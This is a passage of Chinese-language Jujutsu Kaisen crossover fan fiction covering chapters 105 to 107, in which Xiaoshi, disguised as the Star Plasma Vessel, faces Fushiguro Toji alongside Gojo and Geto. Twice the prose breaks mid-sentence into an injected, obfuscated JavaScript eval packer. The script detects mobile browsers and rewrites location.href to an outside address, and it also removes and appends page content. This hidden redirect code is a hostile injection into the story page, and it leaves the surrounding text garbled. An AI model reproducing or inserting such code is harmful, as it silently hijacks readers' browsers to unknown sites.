知道真相但说不出口的微妙不适让小莳越来越想通过睡眠逃避,“不说了,睡了,下飞机喊我。我去纪念品商店买点东西。” 夏油杰问她:“买什么?” “做人偶的材料。不然让我真的被一枪打死吗?那他可就罪孽深重了。”起飞阶段时不时的失重感和耳鸣,小莳仰头张开了嘴,动作有些滑稽可笑。 “你别用天内的脸做这种事。她才不会这样。” “她是她,我是我,现在只是假装成星浆体而已。”演得好也没人结出场费,无偿的别要求太多。 他睡不了觉,她不和他计较。 小莳闭上了眼,神思在高空中进入领域。在里面晒够了太阳,算好了时间才出来,小莳揉了揉眼睛,摸了摸头发,没翘。 “没想到你还真能睡够全程。” “今天可是慷慨赴死的一天嘛。”在场三个还有对面一位算来都得死一次,半死不活也算死。 “从早上开始就在说奇怪的话,我问你,还有什么要说的吗?还有两小时就到高专了。”小莳想继续坐在行李箱上,被五条悟一只手拨开。 “有。”她像是被提醒才想起来,“你这段时间就快学会反转术式了。在你觉得合适的时候,把全部神经都集中在反转术式上,就好啦!” 五条悟直接被她一句话弄到失语,夏油杰善意提醒:“事到如今才说是不是有点迟?” “我其实深有苦衷……” 两个人都不信她。被误解的委屈让小莳买东西的时候都没让五条悟付钱,夏油杰付的。 “你的人偶就用这个毛茸茸的娃娃做吗?” “请叫它快乐小狗。”有点想念entp的五条老师了。 夏油杰从善如流,哪怕这肉眼可见是一只猫:“你就用快乐小狗做人偶吗?” “是的,现在我去厕所徒手造人,你们在门口等等。”说是在厕所,其实是通过没监控的隔间进不垂堂,“我会尽快,但如果有女人出来叫警察什么的记得拦住她。” “有女性报警的原因是?” 小莳心虚:“在厕所里太久了不出来,敲门不应,引发公愤。” “……”确实,女厕所的排队情形远常见于男厕,夏油杰与挚友目送黑发高中生抱着娃娃在门外排队。 过了一会,她像是想起了什么,又回到等候区,对一脸不快的五条悟说话:“我会真身进入领域,所以如果我失踪一会不必担心。” “……谁担心你了!” “嗯嗯嗯,不担心。”小莳摆摆手,又回到队伍行列。 十五分钟后,黑发的少女空手走出卫生间。 “一切顺利。”只是双开对精神也是一种消耗,“不耽误时间,我们赶快上车。到时候我就呆在高专结界里面随机应变。” “等等,你的咒力?”会引起警报。 “靠你背锅,杰。听说你以前经常和悟打出感情来,然后一不小心触发警戒。不过别担心,这件事情,没人会怪你。”小莳含含糊糊就略过了这段,“反正最后会让闯入者全接盘的。” 咒灵操术能役使的咒灵千千万,高专当然不可能每一个四级三级都记录在案,只要他在高专结界内发动术式,必然会警戒。 不过……甚尔也就在悟解除无下限的十秒内就会带刀赶来现场,所以这时候有警戒反而是好事。 他们的行程结束于巴士。 她对总是要乘坐公共交通这件事情已经没脾气了,但:“高专就没点交通补贴吗?” “有,但机场到学校要3万。也就是说我们得贴2万。” 小莳乖乖上公交,没钱的人不好说话。 越到命定的时间,她也有些紧张,坐在两个人中间低头绞手指。 夏油杰称赞她的伪装天衣无缝,说他先前还有疑虑,可见到她的时候,全没了。小莳认真吹嘘了一番自己的幻术,是可以让□□损伤类天与咒缚者违背天道恢复健康的瞒天过海级别,帮濒死的人暂时修复□□,保持生命活力也不在话下。 “你之前都没说过这些。”五条悟看向她,像第一次认识泽田小莳。 “旅途漫长,但我们昨天飞机上才见面。” “嗯,也对,在这之后没多久你就要回属于你的时代去了吧。”他这么说着。 小莳被他这一副想靠近由不敢的姿态好笑到:“运气好的话,我们会在你更成熟的时候再见面,到时候你还得多多关照我。我的咒力操控有一半是你教的,另一半是杰。”一不注意说话又回到了意大利的时候,张口就是请多关照我们家小莳。 那几周给她带来了的影响足够长达一生,结果干到现在还是不擅长和小朋友打交道。 他重复小莳说的:“运气好的话?” “因为今天我们要做一些改变历史的事情,未来的相遇也就不确定了。”小莳和五条悟对视,这说法在他听来几乎是一种明牌。 他不再言语。 “等等,什么叫改变历史,小莳你--”不是说只是通过障眼法改善一下和高层的关系?轻信是夏油杰在人生中犯下的第一个引起重大后果的错误,但那也确实说明他在少年时十分光明磊落,对社会里复杂纷扰的诡计谎言不善辨别。 没人因天内理子的死责怪他,除了他自己。 “有这样一件事,今晚落日才同化,可到底有什么原因,网上的悬赏只到11点截止呢?”还不能让他探究太深,小莳抛下了另一个饵,引他注意:“如果你是一个认为自己具有纯粹信仰的教徒,如果你甘愿与星同陨,誓用己身为盾,赴汤蹈火也必要阻止邪恶的星浆体侵染神明--我没有这类信仰,但战士总要战斗到最后一刻的,杰。” 文学中的战士几乎都是褒扬的意向,可有一点值得注意:在实际发生的战争中,双方的人马,都叫战士。 “别太小看非咒术师的群体了。他们……”打不过,但外包。小莳对夏油杰竖起了食指,放在嘴边。 他露出了触电一样的神情,与他相对的五条悟若有所思。 直到下车,没有人再说话。 爬山,走过一个又一个红色的鸟居,踏上一阶又一阶山路,高专的结界近在咫尺,两个dk之间的警惕气场也影响了小莳,不过对她作用最大的还是爬山的轻微气喘--接下来要发生的事情,她已经厘清了,他们戒备的有点早。 她停了下来,弯下腰喘气。 “怎么了?有什么不对的吗?” “没,累了。” “结界就在几步远的地方,你快点,完成任务以后要我要回宿舍睡觉!”五条悟的意思是,进了高专就安全了。 “你一步能有十几个台阶?”小莳抬头往尽头望,少说三十层。 “夸张而已,快点收拾收拾收工了。” 有苦说不出,小莳换了个说法,最后想给马上惨遭辣嗓子的五条悟一点临别感言:“你们都是一个人,我这还带一个呢。”她的本体,退化成咒灵的那部分,也一起跟上来。 夏油杰:“听起来--” 五条悟接话:“你怀孕了?” “……”小莳叹息,“事情没你想的那么简单。” “问你你又不说,现在又在这边讲些故弄玄虚的话,你不会是……怕了吧?害怕出事,见到天元大人?”这是一手拙劣的激将法,但他成功了一半,小莳翻了个白眼率先往前继续走。 尊重,祝福,尊重,祝福。今天至少死三个人次。 从终点往下的最后一段路看,小莳是第一个出发的,而第一个抵达的是五条悟。 他超过小莳前一步到高专结界内的时候,还给她来了句“幼稚。”笑她激将法上头。 “看吧!什么都没有!”他似乎是高兴于先前小莳的几次恐吓都没应验,无事发生,激动地手舞足蹈。 只是在她看来的手舞足蹈,五条悟只是双手举起甩了甩。 傻孩子,有本事关了无下限说话,小莳直接摇了摇头,没救了。 “悟,应该没事了。”夏油杰很有绅士风度地走在了被护卫对象的后头,作为保护,三人都在其中站定,夏油杰还放出了咒灵,“希望夜蛾老师别那么快赶到,你也把自己藏好。” 藏不了,听说马上的世纪之战要打到森林里去,小莳环视一圈,那可是了不得的距离,藏着人就没了,她婉拒:“不了,我分点心关注这边,然后……” 她在人偶的躯体中看向五条悟,五条悟也看向她。 有那么几个眨眼的功夫,最后还是他先问:“可以解除术式了吗?” 这怎么回答,解除了然后被捅一刀吗?小莳很为难。总有种要背弃孩子信赖的愧疚。也没人说五条悟会先来问她呀!他的信赖有点过头了。 他也表现得有点烦躁:“怎么,很难判断吗?” “是这样的,如果你被打个半死,你会怨恨我吗?当然,不是我打的。” “……你这是说的什么话,老子是最强!” “我就欣赏你的魄力,真的,悟。”她呼出一口气,点点头:“探店开始了,你努力体验吧,顾客。可以解除,给侍应生一点表现的机会,不然怎么上菜。” 五条悟意识到这是小莳昨晚和他说的意义不明的话,解谜不是他擅长的,但他解除了术式,并且说:“以后我再也不要接这种保姆任务了!” 她意识到对方信任她,糟糕,明明是个不会轻易卸下心防的坏脾气家伙。 小莳想起了上次有人拜托她稍微照看一下虎杖的事情,她后退两步,拉着夏油杰站远,反而用一种前所未有的温柔语气同他说话:“别担心,我反转术式在家入医生的督促之下已经很好了。”咽喉伤也能治,内脏伤也能治,现在还会接骨了。 五条悟没能回答。 他低头看了眼从后贯穿自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413173|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己整个身体的刀剑,然后回头往后看:“我们,是不是在哪里见过啊?” 小莳在几米外惊魂未定,等信息大脑接收到有人前来的信息后,那把刀已经穿过去了。伏黑甚尔,在这个世界的初见仍然惊心动魄。 不过她是最先反应过来的那个,她拉着夏油杰的手腕,他小声呢喃,不敢置信,说这可是高专结界内部。她说:“我知道,快跑。” 冷酷无情俨然就是要抛下五条悟的样子。 事情已经进行到这一步,接下来的发展就看天意了,反正她留了足够多注意在这里,就算发生了教学事故,学习反转术式出了差错他也不会出事。 “天与咒缚,强化□□的那种,很强,我以前见过。哦对,你小时候他还去看过你呢,结果被你发现了。再见。”夏油杰放出了又一个咒灵,把伏黑甚尔吞进去了,小莳在一边没什么配合地开始解说。 就是内容挺不走心的。 拉不动夏油杰,她说快走:“他会赢的。我过会和你说。” “什么叫小时候还见过我--我当然会赢。”五条悟皱着眉头站起来。 “就是他们禅院家祖传的爱凑热闹,听说五条家生了个六眼大宝,就去看看你,结果你警惕地回头把六眼开了,反而把他吓了一跳。不过他儿子不像他,我是说凑热闹。”小莳心想他一定很疼,但是反转术式这个成果实在是诱人,他得经受这一切:“我知道是因为他亲口和我说的。但这会我们还不认识,他脑袋有点问题,我其实有点害怕这种身体素质很强的人,所以你加油,靠你了最强。” “……”五条悟被小莳一下又愿意吐露的信息扰乱了头脑,这个时候她怎么突然又愿意说了,“知道了,你们先走,我过会去会和。” 周围是熟悉的景象,只是更破旧的楼。她知道现在说这些不合时宜,但是她忍不住:“我们能骑虹龙吗?那样更快。” 在冲绳还没骑过,时间不够,光顾着跑景点玩了。这个提议算是公费旅游同款的挪用。 “现在是说这些的时候吗?”夏油杰看她完全不紧张的样子,“这也是在你预料之中的事?” 小莳从鹈鹕嘴巴里探出个头,看底下一间间掠过的寺社佛阁:“嗯哼,早就提醒11点结束的悬赏的事情了,悟估计困了,没仔细听。” 夏油杰的眉宇间仍有担忧,语气也有了些责备:“你可以直接告诉他。” “你居然为了一个白毛怪我,有点心痛。”小莳演起来了,随机透露一个重要信息:“他马上要会反转术式了,所以不能直接说。” “???” “命运啊,未来啊,这些词我都不太熟,但我知道万事万物牵一发而动全身,我那边的悟就是在这种情况下学会的,不过其他的人里面真的有理子和黑井女士。你也看到那个男人的危险了,所以我不想让她们来东京。” “如果仅仅是为了任务,有更多的方法可以解决,但习得反转术式的事情,或许遥遥无期。但他需要反转术式来中和六眼的损耗,或许你知道,他爱吃甜食有一部分原因是六眼给大脑带来的负担。你看过闪电侠吗?他就是因为运动量很大所以需要额外的很多热量。” 她和他解释着,一边想着接下来要怎么发展。 “小莳。” “嗯?快到了吗?”她回头,看一起被包裹在咒灵大嘴巴里的同伴。 他脸上有某种隐秘的情绪,最后都化为含愧疚的笑意:“没有,谢谢你。还有,对不起,刚刚有一瞬间我还为此为难你。” 小莳心道这些小孩还真是一个比一个不好期满:“你好像意识到了什么,对不对?” “那个时候,理子没能活下去,黑井小姐也很危险,是吗?” 小莳在鸟形咒灵巨大的囊袋中靠着软乎乎的内壁,喟叹:“聪明人活不长啊,夏油杰,你别这样。” “……”他还有很多问题想问,那时候一定发生了很多比他现在所知更加复杂的事情,才能让小莳露出这样的倦容。 她说:“你把我送到薨星宫就走。” “因为我会败给他,是吗?”夏油杰的聪明脑袋在这个时候想个不停,小莳捂脸,他的声音很温柔,不代表他的话语不步步紧逼:“悟是在生死一刻学会的反转术式,在那之前,他也遭受了很多伤害,然后那个男人不知道怎么样找到了薨星宫,接下来发生了不好的事情,我说得对吗?” 小莳拒绝发表看法。 “在那之后应该还发生了更多的事情,不过一切都开始于理子,我不再认可作为咒术师的职业了,对吗?” 小莳连眼睛都没抬,她说:“这倒没有,你只是不相信自己能做咒术师了,这让你疲惫。接下来自然灾害不少,任务也变多了,你吸收了很多低级咒灵。悟的话,因为任务多了,两个特级一起效率不高,就把你们分开安排。据我所知是这样。” 因为别人诈一下就懦弱的把真相全盘托出这种事情……才不要呢!在16岁夏油杰的对面,是18岁的她,惊讶于他的敏锐,但此时她已经意图将足够击垮他的事实遮掩大半。至于在她的言语之下,能打听到多少,看他本事。 摊手:“不想告诉你是因为很影响心情,我也不想你和那个人闹太僵。他……讲话很难听,你素质有待降低,骂不过。我虽然不知全貌,但也是对于接下来的流程知道最多的人,没必要让你白白遭受一段痛苦……你以前可讨厌他了,不见为好。” “他是什么级别的?” 她就知道这次也没劝住,好在对方还没到怀疑一切意义的时候:“他家里人讨厌他,所以离家出走了,后来做点赏金猎人的工作,专赏咒术师。简单来说,就是很强,但是属于食物链底层这样子,所以没有级别,让我评……我觉得有特级。首先,我的咒力水平也到了特级,也祓除过一些特级,但如果不能用幻术只能用咒力的话,无论如何都打不过他,可能是因为我还不会黑闪。”小莳坦白了自己的情况,首先,她没有生得术式,是半路出家的咒术师,目前证上也只有一级。 小莳的面子工程让她在紧要关头也必须加上一句:“这不是我虚荣,实事求是来说,以祓除咒灵论,我绝对有特级水准。” 夏油杰想了想她稀碎的体术,没说什。 “你是在小看我,是不是?” 在大敌当前的场合,他微笑:“没有。” 绝对有。 来不及宣传“体术是术士的邪道”这种正统思想了,他们抵达了忌库,小莳从鹈鹕嘴巴里爬了出来,腿还蹭到了它的喙:“忘了说,理子和黑井都是很听话的人,所以她们上次没提出要乘坐飞鸟特快,他这次可能会来得更迟。” 夏油杰出来以后还扶了她一把:“他是怎么找到忌库的?” “因为是没有咒力的人,所以很擅长物理搜寻,气味、足迹、遗留物。就像瞎子触感更敏锐,但也许不是天赋补偿,而是【因为没有了某种才能,所以要加倍专注于其他的研习】具体我没仔细问,但有次我跑到意大利去,然后被找到了。而我确信他除了日语不会说其他任何语言。” “你们还,挺熟。”他想了想,这么评价。 小莳最后还是把麻花辫解开,再把发带扯下,没什么表情地对夏油杰说:“他后面人还行,现在很坏,所以……他是我目前见到的人里面不希望产生联系的那种。我后悔认识他,所以有得选的时候,我选不给他见到我的机会。” 他在想她这句话是什么意思。 她扎了个马尾,用丝巾扎了个结固定:“所以今晚他有概率回家。我想用反转术式救一下。听说他被【茈】打掉了半个身子,当场就死了。但愿我能赶上。他本来在死后会垂直掉到我家餐桌的。” “……”这是什么发展,真实情况又远在夏油杰地想象力之外。他们是这样认识的? 小莳对他勾勾手指:“我总是遇到这样紧迫的事情,不过上次也妥善解决了,在涩谷。天哪,万圣节的涩谷人可真多,年轻人们真是有使不完的牛劲,幸好我先去吃了碗饭。不说这些往事了,我们走吧。” 她又停顿了一会,等夏油杰距离她更近才说:“或者,我走,你回宿舍,或者去找悟。他刚刚落败了。我一个人没关系的,我在高中演过话剧,被打的女人和尸体都不在话下。”只看过,其实没加入。 “……”她可能真的很爱自己的那种幽默,恕他没办法理解笑点何在,因为情况太严峻。于是低眉,脸上尽显慈悲:“你为什么不希望我去呢?小莳,你可以和我说的,我已经将你视作可以交托后背的同伴了。” 因为即使是十三年后的夏油杰,也依然厌恶着伏黑甚尔。小莳将杰视作完整的个体,所以不会产生“都是伏黑甚尔改变了夏油杰”这样忽视主观意志的话,但无论如何,夏油杰确实是深受这次失败的影响,对□□强化天与咒缚的厌恶,对非咒术师群体的唾弃,都有他的影子。而甚尔甚至根本不记得他--众多手下败将之一,无甚可观。 人生的课题就是这样复杂。 “因为我认为这会改变你,就像风暴会摧折没长成的树苗。他是那种赢了以后还要在败者的尸体上踩一脚的人,精神病,反社会,或者只是单纯的讨厌咒术师。作为朋友,不想让朋友和不三不四的人相处也很合理,对吧?” “……你对这个人究竟是。。”夏油杰因为她的话有些愣怔,他原先以为他们应该也算是某种程度的朋友,可小莳一点不留情的辛辣评判,让他又有违和。 “每个人都会犯错,伏黑甚尔就是过去的一个错误,时至今日我依然这么以为。”她对他摇摇头,“在有的时候,即使我清醒的意识到自己不应该这样做,也许有更好的方法处置,我仍然会选错,但我也并不会因为这个错误的选择而后悔,因为……代价,只是一场失败的恋爱而已。不过在某些时候,在一些更严酷的场合,命运给出的支线更加残忍,一不小心就会有人做出【一生只能错一次】的选择。杰,不管你今天要不要和我一起去薨星宫,其实这都不重要。真正让我重视的,是,嗯--” 小莳又叹了一口气,她这两天叹气好多,比在意大利几周加起来都多,她说:“是你在某个你以为无路可走的时刻,看不见未来的时候,好像被命运的蛛丝捕获的猎物一样走哪里都是死路一条的的时候,你可不可以不要做任何选择,等到悟到你身边的时候再选呢?”人都会有绝望而孤立无援的时候,人性如此,她承认了,总会有那么一个时刻的。 因此,该借由伙伴疏解的压力和孤苦,就不该深入到黑暗的自我意识里寻求解脱,人在盲目的时候是看不到身后的光的,不是所有人都有这样难得的悬崖撒手的悟性,但他们不都该因此而陷入执迷。 最后她轻松平淡地告知了自己和伏黑甚尔的关系:“那家伙以后会做我前男友,真是百年孤独风格的叙事。顺便我现男友是他儿子,以及他又是我的情人了。” 106. 第 106 章 高专结界内,夏油杰带着人偶的形体一路离开,准确的说是她拉着他走,他还没忍住回了几次头。小莳本体是不可见的咒灵,她仗着刺客听不见也看不见她,站得不远。 在伏黑甚尔的刀尖破开咒灵腹腔的时候,她补完了已经跑远的人偶还没说的话:“我就在这边看着你,你别朝我看就行。我不想被他发现。” “……”她早就知道,她早就知道!五条悟□□上的疼痛反而在其次,他是受过考验的咒术师了,在刀刃入体时身体就自行调整避开了内脏,让他有点难以忍受的是,有人好像知道他的全部狼狈,并且还说要在此旁观。 眼前身上沾着咒灵血的男人是他此生未见之强悍的大敌,旁边是告诉他没关系反正不管发生什么都会兜底的自称泽田小莳的人。 他无暇分身给她,全身心都集中在这个说话很怪的男人身上。 “悬赏是我放出的,你不用逞强。如果不是因为这个,你到最后都不会解除术式吧。倒是没想到你解除前还问了下星浆体的意见,要是那丫头说不行,我还得困扰一会。”黑色头发的男人用指关节顶顶额头,嘴角的伤疤咧开一道缝,他在为此得意:“运气不错,她很蠢,你也不聪明。” “不过--”他提起刀,准备发起进攻,手腕灵活转了一圈,“等过会追上去的时候得问下她是什么情况,怎么好像,她认识我。我对女人的记忆力还是不错的,没记得见过她。” “啊,是嘛,没机会了,你马上就要死了。”就是在这一刻,五条悟意识到了,所谓的碰瓷,一开始就时建立在自己败北后这个男人毫无阻拦地追上杰和人偶。不过--胜负,可不在她的一句话中就揭晓! 他要将这个人杀死,就在此刻当下。 被当成很蠢的人的小莳,安安静静在特等席上看完了整场。 学生时代的五条悟远不如以后游刃有余,更不用说此时的他还是被消耗了几十个小时的疲将,他在硬撑。小莳过来的时候他就有一两天没睡了,她没见过他少年的全盛时,见过也没用,胜负的关键时刻,【如果】只是无关命题,它根本不存在。 到最后就只有生和死而已。 而伏黑甚尔的计划之缜密,埋线之深……他坏起来是真的很坏啊!要是专精搞诈骗,通过不断上门的形式敛聚财富,到最后做首富也不是没可能。 骗到一个赤司家不成问题。 呼,这样一想,幸好他沉湎于童年阴影、旧日伤痛,只针对咒术师搞蓄意谋杀,她以前只是个普通人,最多只能成为他连带伤害的对象。 小莳完全看出来了,五条悟或许被他蒙骗,以为他的目标实际上只是天内理子,可实际上……这人从一开始就是奔着咒术界的未来之星与最强去的:他想杀了五条悟,干掉被众人仰望以为能到达顶点的人,藉此否认整个咒术界对他的排斥与否认。 她17岁的时候就不这么叛逆了,因此有点难以理解。小莳不会在无论如何都不认同她的世界里停太久,只要没办法成为什么企业的负责人,什么财团的管理者,对她的亲生父亲而言……应该都不做个行礼如仪的大小姐。而要是到了管理者赛道上,就又不得不面对她十分喜欢的亲兄长,她不太擅长应对多种关系,多半也不是什么好老板。算了,有机会逃走她一定离开,才不在那个世界多呆,也不争取一点世俗的高看。 悬赏只不过是伏黑甚尔给自己千疮百孔的自尊心找的借口,而且真的有钱。他那么爱花钱,送上门的交易当然不会拒绝。 这样的男人居然说爱她,而且他前些日子真的做的还不赖……小莳从没注意过他的改变,他好像就是从现在这样反社会反人类戾气很重正常人不愿意多沾的样子,突然变得居家又有耐心。 人会在两年内有如此大转变吗?从眼前这样一个陌生的男人,变成她记忆中的模样? 特级咒具·天逆鉾,贯穿了五条悟的咽喉,中止了他还在发动中的无下限术式。如果说此举是应敌的必要动作,那么接下来的在五条悟大腿上猛刺数刀还有对他内脏的攻击……真的很恶劣啊。 像是会在路边虐待小猫的类型,如同刮鱼鳞一样给濒死的五条悟带来差不多的体验,小莳觉得自己有点讨厌这个人。目睹了情人以前令她感到不愿与之为伍的邪恶一面,她有种无能为力但感到不适的反胃。 最让小莳紧张的是最后一步的补刀,如果对方用的是天逆鉾,她一定会阻止。反转术式的发动是在大脑,天逆鉾可太危险了。幸好和她听说的一样,只是一把小刀。 “手感,稍微找回来一点。”伏黑甚尔收起武器,回头看了一眼躺在地上已经确认死亡的护卫,没人知道他在想什么。他离开了。 小莳随后靠近了五条悟,他看上去……有点死不瞑目。虽然还没有死,也不会死。 小莳摸上他被刺入大脑的眉心伤口,平滑的肌肤上被开了一道深深的口子,连头骨都穿破的强度,他一定很疼。她就盘着腿坐在他旁边,顺手祓除停在五条悟眼睛上的许多蝇头。她16岁的时候可没遭这老罪,他有点惨。探了探呼吸,没有;听了听心跳,也没有,脉搏不想摸,脖子血淋淋的,脏手。 五条悟确实是个貌美的白发男子,不过小莳也只有在他完全安静下来的时候才能注意到此,其他时候他就……过分活跃了。 快醒来吧,还有个挚友等着你陪去接小孩呢。噗,这么说起来好像是要两个人一起去领养小动物。小莳摇了摇头,晃掉发散的想象力。 又过一会,位于薨星宫内的人偶被击毙,小莳的本体吐出一口血,喷在五条悟本来就不干净的外套上。她早就说了,黑色外套就是这点好,沾了血也不显眼。 转移视线,正对上刚醒的五条悟。 弄脏人衣服被发现。她本来是可以抑制住咳嗽的,现在不想了,拼了老命地咳起来。 五条悟一醒来就看见眼前的女孩在卖弄可怜劲。 “……” “为了我们,对他使用【茈】吧,悟。” “你任务完成了,杰呢?”他用肯定的语气说完了前半句,后半句问挚友。 小莳变出一张白布盖在他腹部,很快吸上了鲜血的红和咒灵血液的青紫,她还真是被同化成咒灵了,现在:“被痛击了,正在死气沉沉地活着。我过会去治他,你可以去盘星教星之子之家找伏黑甚尔,完结这一战。” 对了,她想起来,那地方还怪远的。伏黑甚尔是坐孔时雨的车去,那悟呢?飞过去? “嗯,交给你了。晚点……你要告诉我。” 小莳当然满口答应,事情进展到这一步,就计划来说已经完成全部,最后,只要她过去收个尾,明天收拾收拾就能进村了。 五条悟直接脱了外套,然而衬衫上也是一片一块的血点,临走时他问:“那个时候的我是什么心情?” “挺开心的,心理状态上的空无,我推断如此。你说世界上的一花一草一木都让你欢悦。我是从来没觉得世界有这么美好啦,不过这也算你的才能哦?” “是吗?说的也是,或许就如同你所说。” 小莳跪坐在水泥地上,这是周边废墟里仅剩的平地,她撩了下头发,漫不经心:“你面无表情眼带疯狂但是嘴里吐出三段活用的样子还真恐怖,快去吧,晚点人要回家给孩子烧饭了。” 伏黑甚尔会回家吗,多半不会,交完任务以后应该会想出去大吃一顿。还是一顿贵的,在这点上惠搞不好还真像他,小莳想起了虎杖说的他爱吃贵的,他没说错,惠真的喜欢。 五条悟的脑袋上有个小疤,他的背影晃晃荡荡,不过小莳是不担心他了。她于是也拍拍不存在的灰尘--现在她可是咒灵小姐,回过身去往薨星宫的方向,在他们集结人马排查之前,自己这个咒灵得离开高专。 * 抓到些未来的踪迹,又听了个八卦,夏油杰盯着小莳看了有一会:“未来的一切真的还可以吗?”语气中竟然有了些怀疑。 “你懂的,夫妻吵架分分合合又是砸锅又是报警,但等孩子上大学成功就业抱了孙女一切都好起来了。” “……”荒诞不经的悲喜剧都不会这么演,然而这就是生活,他从小莳轻轻松松的语气中解读出了这些。真是荒唐的一切,夏油杰想。 他说他会陪她下去。 小莳叹了口气,这人和他挚友一个样子,之前……悟应该发现事件的走向了,但还是抱着要赢的信念对战,他应该也快醒了。 点点头,由夏油杰打开忌库的门,她走进去:“也就这几十分钟的事情了,等那边好起来我就来救你,你以后要听家入医生的话,她可关心你了,而且我这段时间的突飞猛进也是靠她时不时检查文化水平进度。别说,背书真的有用。” 她讲最后一句的时候格外认真,在进电梯的时候,小莳小声告诉他:“如果你们的故事是一本漫画,我一定会看哭的。我不是那种随随便便会哭的人,就现实说,我是个杀手,不太会为人流泪。但,一方面你们的事情充满了机缘巧合与阴差阳错,现在身在此间又产生了一种亲历的无力感,另一方面……可能是因为我恋爱了,谈恋爱会一定程度上让人心软。你知道的,总免不了和人交心,要去感知对方的心意,同时不也就交付了自己的真心。” 大敌当前,也仍然想一试,夏油杰此刻居然还能与她闲聊:“看来你很喜欢你的,嗯,男朋友。但是还是一次谈了两个?” “别说了,这下是真有案底了,今天我们都得被他杀掉。”小莳摇头,本来牢固的马尾都被她挣松了,有一缕一缕黑色的头发垂下来,“但是至少理子现在在店里喝咖啡了,等我回去找他算账,现在赤手空拳的咒灵形态有点打不过。”匣兵器不在,戒指用不了,对方还是天与咒缚。见鬼的咒具竟然放在一个咒灵体内,不知道这咒灵被他塞哪去了。 “看来你还挺喜欢这个,伏黑甚尔,他不姓禅院?你现在看起来很不开心,他以后会变很多吗?” “离家出走,然后入赘了。”走出电梯,学生款式的皮鞋在坚硬的地面上发出哒哒的声音,小莳声音不大,但此地幽静,能传出很远。“你有1000%的理由厌恶他,他变成了人模人样的正常人类也不影响他过去是个坏家伙的事情,也正因为如此,像你这么有良心的人---”还是别变坏为好。 异地双开有点精神恍惚,差点说漏嘴,小莳咬住舌头,告诉他:“刚说话碰到舌头了,像你这样有良心的人,就该讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哟,反应很快,不过她得留下。”那么远的人闪到跟前也只一瞬,小莳只能看到一片残影,人偶的机能还是远远不如本体。 他从咒灵里抽出一把刀,架在她脖子上:“有遗言吗,小姐?” “和听说的一样,你还真是--讨厌的家伙。”夏油杰起手,两团黑雾在他身后显现。小莳赶紧拽住他,动作之剧烈,贴近刀刃的皮肉线条渗出血液。 她说完了最后一句斩钉截铁的话:“别用虹龙。”!!! “听谁说的?”伏黑甚尔不确定对方认识自己,他收起刀,退后些许,在安全距离外做了几个热身动作,“要插手吗?我随意,先干掉你也来得及。” 小莳很认真地和在场另一个反社会地糟糕人士说:“他是咒灵操使,死掉的话咒灵全会跑出来的。” 伏黑甚尔顿了一下,然后才继续:“谢谢提醒,下一个就是你。” “其实你可以不杀我。” 他就没理她了,这副装聋作哑的老样子让人来气,小莳皱着眉头在旁边看,听他说这个咒灵驯服后被他装在胃里,有需要的时候再呕出来;听他说裂口女不是他喜欢的类型;听他说夏油杰该好好感念父母之恩,到最后她两片眉毛都要连到一起。 在他听取小莳意见贴心的把夏油杰踹到一边,还留了一口气之后,他手背一拍脑袋:“想起来了,惠的名字还是我起的。” 他真该死啊。小莳想着。猛然看到这样一个家伙,小莳纳闷自己到底喜欢他什么,喜欢他乱吃东西?喜欢他曾经用评价咒灵的话来评价她?喜欢他开口就一副为人父母就是了不起的傲慢? 她居然马上还要用反转术式救治这个人,以防他掉到赤司家去。不管怎么说,她觉得不见到这个她已经完全熟悉的男人比较好。 她替16岁的自己做了个决定。 “因为你的提醒,那小子捡回一条命,不过你就没这么好运了。”高大的男人走到她面前,对她举起了枪:“有几个问题想问你,你认识我?” “认识你就不杀我了吗?”她回答堪称有气无力。 他好像还真的想了想,然后露出了欠揍的表情,回答:“不行。” 小莳不想和他多说话,不过又思及理子的身份:如果能以活人的身份生活下去,对她也有些好处,如果人偶今天没事,被盘星教关起来,三五天后,她还能以原先的身份回到之前的女高上课,还能和过去的同学一起交游。 人的长大也许就是伴随着做不想做的工作,进行抗拒的社交,还有为朋友做点什么于己无益的事情。她认为自己应该稍微按捺点情绪,尝试交流。 他看上去听得懂人话。 “我可以和你回盘星教,只要不参与同化就可以,对吧?”她仰起头,正对枪口,看见熟悉的脸熟悉的疤痕熟悉的表情--那是他在听人说时的表情,“我不会逃走,不会反抗,不影响你拿钱。你知道的,我也只是一个普普通通的国中女生,对女孩子还是要温柔点的,对吧?” “从这里到盘星教还有段距离,你太麻烦。”冷冷的枪口顶在她眉心,大脑里传来不妙的神经波动,小莳听见他说:“你不打算回答了对吧?” “真遗憾。” 小莳在人偶的躯体里听到最后的一句话就是:“我啊,不喜欢麻烦。” 赌上社交技巧的一套柔性劝导话术大失败。 交涉的结果:一颗子弹从眉心贯到脑后,被击中的人扑通倒地。 伏黑甚尔收起了枪,像得手的猎人收拾猎物一样低身拾起她的腿,抗在肩膀上。 107. 第 107 章 高专结界内,小莳在门与门之间疾步,现在是咒术师们的旺季不假,但薨星宫内应该也很快会有人去查看情况,她必须先见一见夏油杰。 对方的情况……伏黑甚尔说了很多过分的,她算是明白,为什么他能说出感觉赤司征臣还行这种话了。 哈哈哈,原来是觉得当爹已经很棒了捏。真是给她气笑啦。 乘电梯一路向下,飞奔过刚才人偶哒哒哒走过的路,来到本殿,找到了在废墟里倒着的夏油杰。 她用反转术式治疗了他。 “你也受伤了,吐血了吗?”他自昏迷醒来后的第一句居然还是关心同伴。 小莳很感动,简要和他说明:“幻觉反噬,他把人偶带走了。悟醒来在去盘星教的路上,他学会反转术式了。” “是吗,那就好。”夏油杰在碎石的地方躺了一会,然后说:“如果你刚才说点未来的事情,他可能会采纳建议。” 